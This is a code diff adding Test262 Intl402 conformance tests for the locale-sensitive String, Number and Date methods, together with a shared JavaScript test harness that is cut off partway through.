+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that String.prototype.localeCompare
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(String.prototype.localeCompare, true, false, [], 1);
+
diff --git a/js/src/tests/test262/intl402/ch13/13.1/browser.js b/js/src/tests/test262/intl402/ch13/13.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/browser.js
diff --git a/js/src/tests/test262/intl402/ch13/13.1/shell.js b/js/src/tests/test262/intl402/ch13/13.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.1/shell.js
diff --git a/js/src/tests/test262/intl402/ch13/13.2/13.2.1_1.js b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_1.js
new file mode 100644
index 000000000..da1ee8fe5
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_1.js
@@ -0,0 +1,37 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that toLocaleString handles "this Number value" correctly.
+ * @author Norbert Lindenberg
+ */
+
+var invalidValues = [undefined, null, "5", false, {valueOf: function () { return 5; }}];
+var validValues = [5, NaN, -1234567.89, -Infinity];
+
+invalidValues.forEach(function (value) {
+ var error;
+ try {
+ var result = Number.prototype.toLocaleString.call(value);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Number.prototype.toLocaleString did not reject this = " + value + ".");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Number.prototype.toLocaleString rejected this = " + value + " with wrong error " + error.name + ".");
+ }
+});
+
+// for valid values, just check that a Number value and the corresponding
+// Number object get the same result.
+validValues.forEach(function (value) {
+ var Constructor = Number; // to keep jshint happy
+ var valueResult = Number.prototype.toLocaleString.call(value);
+ var objectResult = Number.prototype.toLocaleString.call(new Constructor(value));
+ if (valueResult !== objectResult) {
+ $ERROR("Number.prototype.toLocaleString produces different results for Number value " +
+ value + " and corresponding Number object: " + valueResult + " vs. " + objectResult + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_1.js b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_1.js
new file mode 100644
index 000000000..e6e0b1163
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_1.js
@@ -0,0 +1,67 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Number.prototype.toLocaleString throws the same exceptions as Intl.NumberFormat.
+ * @author Norbert Lindenberg
+ */
+
+var locales = [null, [NaN], ["i"], ["de_DE"]];
+var options = [
+ {localeMatcher: null},
+ {style: "invalid"},
+ {style: "currency"},
+ {style: "currency", currency: "ßP"},
+ {maximumSignificantDigits: -Infinity}
+];
+
+locales.forEach(function (locales) {
+ var referenceError, error;
+ try {
+ var format = new Intl.NumberFormat(locales);
+ } catch (e) {
+ referenceError = e;
+ }
+ if (referenceError === undefined) {
+ $ERROR("Internal error: Expected exception was not thrown by Intl.NumberFormat for locales " + locales + ".");
+ }
+
+ try {
+ var result = (0).toLocaleString(locales);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Number.prototype.toLocaleString didn't throw exception for locales " + locales + ".");
+ } else if (error.name !== referenceError.name) {
+ $ERROR("Number.prototype.toLocaleString threw exception " + error.name +
+ " for locales " + locales + "; expected " + referenceError.name + ".");
+ }
+});
+
+options.forEach(function (options) {
+ var referenceError, error;
+ try {
+ var format = new Intl.NumberFormat([], options);
+ } catch (e) {
+ referenceError = e;
+ }
+ if (referenceError === undefined) {
+ $ERROR("Internal error: Expected exception was not thrown by Intl.NumberFormat for options " +
+ JSON.stringify(options) + ".");
+ }
+
+ try {
+ var result = (0).toLocaleString([], options);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Number.prototype.toLocaleString didn't throw exception for options " +
+ JSON.stringify(options) + ".");
+ } else if (error.name !== referenceError.name) {
+ $ERROR("Number.prototype.toLocaleString threw exception " + error.name +
+ " for options " + JSON.stringify(options) + "; expected " + referenceError.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_2.js b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_2.js
new file mode 100644
index 000000000..a79cfffde
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_4_2.js
@@ -0,0 +1,13 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Number.prototype.toLocaleString uses the standard
+ * built-in Intl.NumberFormat constructor.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintDataProperty(Intl, "NumberFormat");
+(0.0).toLocaleString();
diff --git a/js/src/tests/test262/intl402/ch13/13.2/13.2.1_5.js b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_5.js
new file mode 100644
index 000000000..eb953b64d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_5.js
@@ -0,0 +1,41 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Number.prototype.toLocaleString produces the same results as Intl.NumberFormat.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var numbers = [0, -0, 1, -1, 5.5, 123, -123, -123.45, 123.44501, 0.001234,
+ -0.00000000123, 0.00000000000000000000000000000123, 1.2, 0.0000000012344501,
+ 123445.01, 12344501000000000000000000000000000, -12344501000000000000000000000000000,
+ Infinity, -Infinity, NaN];
+var locales = [undefined, ["de"], ["th-u-nu-thai"], ["en"], ["ja-u-nu-jpanfin"], ["ar-u-nu-arab"]];
+var options = [
+ undefined,
+ {style: "percent"},
+ {style: "currency", currency: "EUR", currencyDisplay: "symbol"},
+ {style: "currency", currency: "IQD", currencyDisplay: "symbol"},
+ {style: "currency", currency: "KMF", currencyDisplay: "symbol"},
+ {style: "currency", currency: "CLF", currencyDisplay: "symbol"},
+ {useGrouping: false, minimumIntegerDigits: 3, minimumFractionDigits: 1, maximumFractionDigits: 3}
+];
+
+locales.forEach(function (locales) {
+ options.forEach(function (options) {
+ var referenceNumberFormat = new Intl.NumberFormat(locales, options);
+ var referenceFormatted = numbers.map(referenceNumberFormat.format);
+
+ var formatted = numbers.map(function (a) { return a.toLocaleString(locales, options); });
+ try {
+ testArraysAreSame(referenceFormatted, formatted);
+ } catch (e) {
+ e.message += " (Testing with locales " + locales + "; options " +
+ (options ? JSON.stringify(options) : options) + ".)";
+ throw e;
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.2/13.2.1_L15.js b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_L15.js
new file mode 100644
index 000000000..8b53f7496
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/13.2.1_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Number.prototype.toLocaleString
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Number.prototype.toLocaleString, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch13/13.2/browser.js b/js/src/tests/test262/intl402/ch13/13.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/browser.js
diff --git a/js/src/tests/test262/intl402/ch13/13.2/shell.js b/js/src/tests/test262/intl402/ch13/13.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.2/shell.js
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.0_1.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_1.js
new file mode 100644
index 000000000..0f2902162
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_1.js
@@ -0,0 +1,32 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleString & Co. handle "this time value" correctly.
+ * @author Norbert Lindenberg
+ */
+
+var functions = {
+ toLocaleString: Date.prototype.toLocaleString,
+ toLocaleDateString: Date.prototype.toLocaleDateString,
+ toLocaleTimeString: Date.prototype.toLocaleTimeString
+};
+var invalidValues = [undefined, null, 5, "5", false, {valueOf: function () { return 5; }}];
+
+Object.getOwnPropertyNames(functions).forEach(function (p) {
+ var f = functions[p];
+ invalidValues.forEach(function (value) {
+ var error;
+ try {
+ var result = f.call(value);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Date.prototype." + p + " did not reject this = " + value + ".");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Date.prototype." + p + " rejected this = " + value + " with wrong error " + error.name + ".");
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.0_2.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_2.js
new file mode 100644
index 000000000..7d5f32fa6
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_2.js
@@ -0,0 +1,26 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleString & Co. handle non-finite values correctly.
+ * @author Norbert Lindenberg
+ */
+
+var functions = {
+ toLocaleString: Date.prototype.toLocaleString,
+ toLocaleDateString: Date.prototype.toLocaleDateString,
+ toLocaleTimeString: Date.prototype.toLocaleTimeString
+};
+var invalidValues = [NaN, Infinity, -Infinity];
+
+Object.getOwnPropertyNames(functions).forEach(function (p) {
+ var f = functions[p];
+ invalidValues.forEach(function (value) {
+ var result = f.call(new Date(value));
+ if (result !== "Invalid Date") {
+ $ERROR("Date.prototype." + p + " did not return \"Invalid Date\" for " +
+ value + " – got " + result + " instead.");
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_1.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_1.js
new file mode 100644
index 000000000..c97b240b4
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_1.js
@@ -0,0 +1,74 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleString & Co. throws the same exceptions as Intl.DateTimeFormat.
+ * @author Norbert Lindenberg
+ */
+
+var functions = {
+ toLocaleString: Date.prototype.toLocaleString,
+ toLocaleDateString: Date.prototype.toLocaleDateString,
+ toLocaleTimeString: Date.prototype.toLocaleTimeString
+};
+var locales = [null, [NaN], ["i"], ["de_DE"]];
+var options = [
+ {localeMatcher: null},
+ {timeZone: "invalid"},
+ {hour: "long"},
+ {formatMatcher: "invalid"}
+];
+
+Object.getOwnPropertyNames(functions).forEach(function (p) {
+ var f = functions[p];
+ locales.forEach(function (locales) {
+ var referenceError, error;
+ try {
+ var format = new Intl.DateTimeFormat(locales);
+ } catch (e) {
+ referenceError = e;
+ }
+ if (referenceError === undefined) {
+ $ERROR("Internal error: Expected exception was not thrown by Intl.DateTimeFormat for locales " + locales + ".");
+ }
+
+ try {
+ var result = f.call(new Date(), locales);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Date.prototype." + p + " didn't throw exception for locales " + locales + ".");
+ } else if (error.name !== referenceError.name) {
+ $ERROR("Date.prototype." + p + " threw exception " + error.name +
+ " for locales " + locales + "; expected " + referenceError.name + ".");
+ }
+ });
+
+ options.forEach(function (options) {
+ var referenceError, error;
+ try {
+ var format = new Intl.DateTimeFormat([], options);
+ } catch (e) {
+ referenceError = e;
+ }
+ if (referenceError === undefined) {
+ $ERROR("Internal error: Expected exception was not thrown by Intl.DateTimeFormat for options " +
+ JSON.stringify(options) + ".");
+ }
+
+ try {
+ var result = f.call(new Date(), [], options);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Date.prototype." + p + " didn't throw exception for options " +
+ JSON.stringify(options) + ".");
+ } else if (error.name !== referenceError.name) {
+ $ERROR("Date.prototype." + p + " threw exception " + error.name +
+ " for options " + JSON.stringify(options) + "; expected " + referenceError.name + ".");
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_2.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_2.js
new file mode 100644
index 000000000..dcce05906
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_6_2.js
@@ -0,0 +1,15 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleString & Co. use the standard
+ * built-in Intl.DateTimeFormat constructor.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintDataProperty(Intl, "DateTimeFormat");
+new Date().toLocaleString();
+new Date().toLocaleDateString();
+new Date().toLocaleTimeString();
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.0_7.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_7.js
new file mode 100644
index 000000000..fe7c9271d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.0_7.js
@@ -0,0 +1,58 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleString & Co. produces the same results as Intl.DateTimeFormat.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var functions = {
+ toLocaleString: [Date.prototype.toLocaleString,
+ {year: "numeric", month: "numeric", day: "numeric", hour: "numeric", minute: "numeric", second: "numeric"}],
+ toLocaleDateString: [Date.prototype.toLocaleDateString,
+ {year: "numeric", month: "numeric", day: "numeric"}],
+ toLocaleTimeString: [Date.prototype.toLocaleTimeString,
+ {hour: "numeric", minute: "numeric", second: "numeric"}]
+};
+var dates = [new Date(), new Date(0), new Date(Date.parse("1989-11-09T17:57:00Z"))];
+var locales = [undefined, ["de"], ["th-u-ca-gregory-nu-thai"], ["en"], ["ja-u-ca-japanese"], ["ar-u-ca-islamicc-nu-arab"]];
+var options = [
+ undefined,
+ {hour12: false},
+ {month: "long", day: "numeric", hour: "2-digit", minute: "2-digit"}
+];
+
+Object.getOwnPropertyNames(functions).forEach(function (p) {
+ var f = functions[p][0];
+ var defaults = functions[p][1];
+ locales.forEach(function (locales) {
+ options.forEach(function (options) {
+ var constructorOptions = options;
+ if (options === undefined) {
+ constructorOptions = defaults;
+ } else if (options.day === undefined) {
+ // for simplicity, our options above have either both date and time or neither
+ constructorOptions = Object.create(defaults);
+ for (var prop in options) {
+ if (options.hasOwnProperty(prop)) {
+ constructorOptions[prop] = options[prop];
+ }
+ }
+ }
+ var referenceDateTimeFormat = new Intl.DateTimeFormat(locales, constructorOptions);
+ var referenceFormatted = dates.map(referenceDateTimeFormat.format);
+
+ var formatted = dates.map(function (a) { return f.call(a, locales, options); });
+ try {
+ testArraysAreSame(referenceFormatted, formatted);
+ } catch (e) {
+ e.message += " (Testing with locales " + locales + "; options " +
+ (options ? JSON.stringify(options) : options) + ".)";
+ throw e;
+ }
+ });
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.1_L15.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.1_L15.js
new file mode 100644
index 000000000..a8c697c07
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.1_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleString
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Date.prototype.toLocaleString, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.2_L15.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.2_L15.js
new file mode 100644
index 000000000..5eeed944e
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleDateString
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Date.prototype.toLocaleDateString, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/13.3.3_L15.js b/js/src/tests/test262/intl402/ch13/13.3/13.3.3_L15.js
new file mode 100644
index 000000000..dac7c3513
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/13.3.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Date.prototype.toLocaleTimeString
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Date.prototype.toLocaleTimeString, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch13/13.3/browser.js b/js/src/tests/test262/intl402/ch13/13.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/browser.js
diff --git a/js/src/tests/test262/intl402/ch13/13.3/shell.js b/js/src/tests/test262/intl402/ch13/13.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/13.3/shell.js
diff --git a/js/src/tests/test262/intl402/ch13/browser.js b/js/src/tests/test262/intl402/ch13/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/browser.js
diff --git a/js/src/tests/test262/intl402/ch13/shell.js b/js/src/tests/test262/intl402/ch13/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch13/shell.js
diff --git a/js/src/tests/test262/intl402/shell.js b/js/src/tests/test262/intl402/shell.js
new file mode 100644
index 000000000..2e6826e91
--- /dev/null
+++ b/js/src/tests/test262/intl402/shell.js
@@ -0,0 +1,10 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Test402 tests all pass unless they throw, and there are no @negative tests.
+ * Once Test262 includes @negative support, and this call in test262-shell.js is
+ * removed, this'll need to be uncommented.
+ */
+//testPassesUnlessItThrows();
diff --git a/js/src/tests/test262/shell.js b/js/src/tests/test262/shell.js
new file mode 100644
index 000000000..b70bb5dbb
--- /dev/null
+++ b/js/src/tests/test262/shell.js
@@ -0,0 +1,940 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+//-----------------------------------------------------------------------------
+function compareArray(aExpected, aActual) {
+ if (aActual.length != aExpected.length) {
+ return false;
+ }
+
+ aExpected.sort();
+ aActual.sort();
+
+ var s;
+ for (var i = 0; i < aExpected.length; i++) {
+ if (aActual[i] !== aExpected[i]) {
+ return false;
+ }
+ }
+ return true;
+}
+
+//-----------------------------------------------------------------------------
+function arrayContains(arr, expected) {
+ var found;
+ for (var i = 0; i < expected.length; i++) {
+ found = false;
+ for (var j = 0; j < arr.length; j++) {
+ if (expected[i] === arr[j]) {
+ found = true;
+ break;
+ }
+ }
+ if (!found) {
+ return false;
+ }
+ }
+ return true;
+}
+
+//-----------------------------------------------------------------------------
+var supportsArrayIndexGettersOnArrays = undefined;
+function fnSupportsArrayIndexGettersOnArrays() {
+ if (typeof supportsArrayIndexGettersOnArrays !== "undefined") {
+ return supportsArrayIndexGettersOnArrays;
+ }
+
+ supportsArrayIndexGettersOnArrays = false;
+
+ if (fnExists(Object.defineProperty)) {
+ var arr = [];
+ Object.defineProperty(arr, "0", {
+ get: function() {
+ supportsArrayIndexGettersOnArrays = true;
+ return 0;
+ }
+ });
+ var res = arr[0];
+ }
+
+ return supportsArrayIndexGettersOnArrays;
+}
+
+//-----------------------------------------------------------------------------
+var supportsArrayIndexGettersOnObjects = undefined;
+function fnSupportsArrayIndexGettersOnObjects() {
+ if (typeof supportsArrayIndexGettersOnObjects !== "undefined")
+ return supportsArrayIndexGettersOnObjects;
+
+ supportsArrayIndexGettersOnObjects = false;
+
+ if (fnExists(Object.defineProperty)) {
+ var obj = {};
+ Object.defineProperty(obj, "0", {
+ get: function() {
+ supportsArrayIndexGettersOnObjects = true;
+ return 0;
+ }
+ });
+ var res = obj[0];
+ }
+
+ return supportsArrayIndexGettersOnObjects;
+}
+
+//-----------------------------------------------------------------------------
+function ConvertToFileUrl(pathStr) {
+ return "file:" + pathStr.replace(/\\/g, "/");
+}
+
+//-----------------------------------------------------------------------------
+function fnExists(/*arguments*/) {
+ for (var i = 0; i < arguments.length; i++) {
+ if (typeof (arguments[i]) !== "function") return false;
+ }
+ return true;
+}
+
+//-----------------------------------------------------------------------------
+var __globalObject = Function("return this;")();
+function fnGlobalObject() {
+ return __globalObject;
+}
+
+//-----------------------------------------------------------------------------
+function fnSupportsStrict() {
+ "use strict";
+ try {
+ eval('with ({}) {}');
+ return false;
+ } catch (e) {
+ return true;
+ }
+}
+
+//-----------------------------------------------------------------------------
+//Verify all attributes specified data property of given object:
+//value, writable, enumerable, configurable
+//If all attribute values are expected, return true, otherwise, return false
+function dataPropertyAttributesAreCorrect(obj,
+ name,
+ value,
+ writable,
+ enumerable,
+ configurable) {
+ var attributesCorrect = true;
+
+ if (obj[name] !== value) {
+ if (typeof obj[name] === "number" &&
+ isNaN(obj[name]) &&
+ typeof value === "number" &&
+ isNaN(value)) {
+ // keep empty
+ } else {
+ attributesCorrect = false;
+ }
+ }
+
+ try {
+ if (obj[name] === "oldValue") {
+ obj[name] = "newValue";
+ } else {
+ obj[name] = "OldValue";
+ }
+ } catch (we) {
+ }
+
+ var overwrited = false;
+ if (obj[name] !== value) {
+ if (typeof obj[name] === "number" &&
+ isNaN(obj[name]) &&
+ typeof value === "number" &&
+ isNaN(value)) {
+ // keep empty
+ } else {
+ overwrited = true;
+ }
+ }
+ if (overwrited !== writable) {
+ attributesCorrect = false;
+ }
+
+ var enumerated = false;
+ for (var prop in obj) {
+ if (obj.hasOwnProperty(prop) && prop === name) {
+ enumerated = true;
+ }
+ }
+
+ if (enumerated !== enumerable) {
+ attributesCorrect = false;
+ }
+
+
+ var deleted = false;
+
+ try {
+ delete obj[name];
+ } catch (de) {
+ }
+ if (!obj.hasOwnProperty(name)) {
+ deleted = true;
+ }
+ if (deleted !== configurable) {
+ attributesCorrect = false;
+ }
+
+ return attributesCorrect;
+}
+
+//-----------------------------------------------------------------------------
+//Verify all attributes specified accessor property of given object:
+//get, set, enumerable, configurable
+//If all attribute values are expected, return true, otherwise, return false
+function accessorPropertyAttributesAreCorrect(obj,
+ name,
+ get,
+ set,
+ setVerifyHelpProp,
+ enumerable,
+ configurable) {
+ var attributesCorrect = true;
+
+ if (get !== undefined) {
+ if (obj[name] !== get()) {
+ if (typeof obj[name] === "number" &&
+ isNaN(obj[name]) &&
+ typeof get() === "number" &&
+ isNaN(get())) {
+ // keep empty
+ } else {
+ attributesCorrect = false;
+ }
+ }
+ } else {
+ if (obj[name] !== undefined) {
+ attributesCorrect = false;
+ }
+ }
+
+ try {
+ var desc = Object.getOwnPropertyDescriptor(obj, name);
+ if (typeof desc.set === "undefined") {
+ if (typeof set !== "undefined") {
+ attributesCorrect = false;
+ }
+ } else {
+ obj[name] = "toBeSetValue";
+ if (obj[setVerifyHelpProp] !== "toBeSetValue") {
+ attributesCorrect = false;
+ }
+ }
+ } catch (se) {
+ throw se;
+ }
+
+
+ var enumerated = false;
+ for (var prop in obj) {
+ if (obj.hasOwnProperty(prop) && prop === name) {
+ enumerated = true;
+ }
+ }
+
+ if (enumerated !== enumerable) {
+ attributesCorrect = false;
+ }
+
+
+ var deleted = false;
+ try {
+ delete obj[name];
+ } catch (de) {
+ throw de;
+ }
+ if (!obj.hasOwnProperty(name)) {
+ deleted = true;
+ }
+ if (deleted !== configurable) {
+ attributesCorrect = false;
+ }
+
+ return attributesCorrect;
+}
+
+//-----------------------------------------------------------------------------
+var NotEarlyErrorString = "NotEarlyError";
+var EarlyErrorRePat = "^((?!" + NotEarlyErrorString + ").)*$";
+var NotEarlyError = new Error(NotEarlyErrorString);
+
+//-----------------------------------------------------------------------------
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+function Test262Error(message) {
+ if (message) this.message = message;
+}
+
+Test262Error.prototype.toString = function () {
+ return "Test262 Error: " + this.message;
+};
+
+function testFailed(message) {
+ throw new Test262Error(message);
+}
+
+
+function testPrint(message) {
+
+}
+
+
+//adaptors for Test262 framework
+function $PRINT(message) {
+
+}
+
+function $INCLUDE(message) { }
+function $ERROR(message) {
+ testFailed(message);
+}
+
+function $FAIL(message) {
+ testFailed(message);
+}
+
+
+
+//Sputnik library definitions
+//Ultimately these should be namespaced some how and only made
+//available to tests that explicitly include them.
+//For now, we just define the globally
+
+//math_precision.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+function getPrecision(num) {
+ //TODO: Create a table of prec's,
+ // because using Math for testing Math isn't that correct.
+
+ var log2num = Math.log(Math.abs(num)) / Math.LN2;
+ var pernum = Math.ceil(log2num);
+ return (2 * Math.pow(2, -52 + pernum));
+ //return(0);
+}
+
+
+//math_isequal.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+var prec;
+function isEqual(num1, num2) {
+ if ((num1 === Infinity) && (num2 === Infinity)) {
+ return (true);
+ }
+ if ((num1 === -Infinity) && (num2 === -Infinity)) {
+ return (true);
+ }
+ prec = getPrecision(Math.min(Math.abs(num1), Math.abs(num2)));
+ return (Math.abs(num1 - num2) <= prec);
+ //return(num1 === num2);
+}
+
+//numeric_conversion.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+function ToInteger(p) {
+ var x = Number(p);
+
+ if (isNaN(x)) {
+ return +0;
+ }
+
+ if ((x === +0)
+ || (x === -0)
+ || (x === Number.POSITIVE_INFINITY)
+ || (x === Number.NEGATIVE_INFINITY)) {
+ return x;
+ }
+
+ var sign = (x < 0) ? -1 : 1;
+
+ return (sign * Math.floor(Math.abs(x)));
+}
+
+//Date_constants.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+var HoursPerDay = 24;
+var MinutesPerHour = 60;
+var SecondsPerMinute = 60;
+
+var msPerDay = 86400000;
+var msPerSecond = 1000;
+var msPerMinute = 60000;
+var msPerHour = 3600000;
+
+var date_1899_end = -2208988800001;
+var date_1900_start = -2208988800000;
+var date_1969_end = -1;
+var date_1970_start = 0;
+var date_1999_end = 946684799999;
+var date_2000_start = 946684800000;
+var date_2099_end = 4102444799999;
+var date_2100_start = 4102444800000;
+
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+//the following values are normally generated by the sputnik.py driver
+var $LocalTZ,
+ $DST_start_month,
+ $DST_start_sunday,
+ $DST_start_hour,
+ $DST_start_minutes,
+ $DST_end_month,
+ $DST_end_sunday,
+ $DST_end_hour,
+ $DST_end_minutes;
+
+(function () {
+ /**
+ * Finds the first date, starting from |start|, where |predicate|
+ * holds.
+ */
+ var findNearestDateBefore = function(start, predicate) {
+ var current = start;
+ var month = 1000 * 60 * 60 * 24 * 30;
+ for (var step = month; step > 0; step = Math.floor(step / 3)) {
+ if (!predicate(current)) {
+ while (!predicate(current))
+ current = new Date(current.getTime() + step);
+ current = new Date(current.getTime() - step);
+ }
+ }
+ while (!predicate(current)) {
+ current = new Date(current.getTime() + 1);
+ }
+ return current;
+ };
+
+ var juneDate = new Date(2000, 5, 20, 0, 0, 0, 0);
+ var decemberDate = new Date(2000, 11, 20, 0, 0, 0, 0);
+ var juneOffset = juneDate.getTimezoneOffset();
+ var decemberOffset = decemberDate.getTimezoneOffset();
+ var isSouthernHemisphere = (juneOffset > decemberOffset);
+ var winterTime = isSouthernHemisphere ? juneDate : decemberDate;
+ var summerTime = isSouthernHemisphere ? decemberDate : juneDate;
+
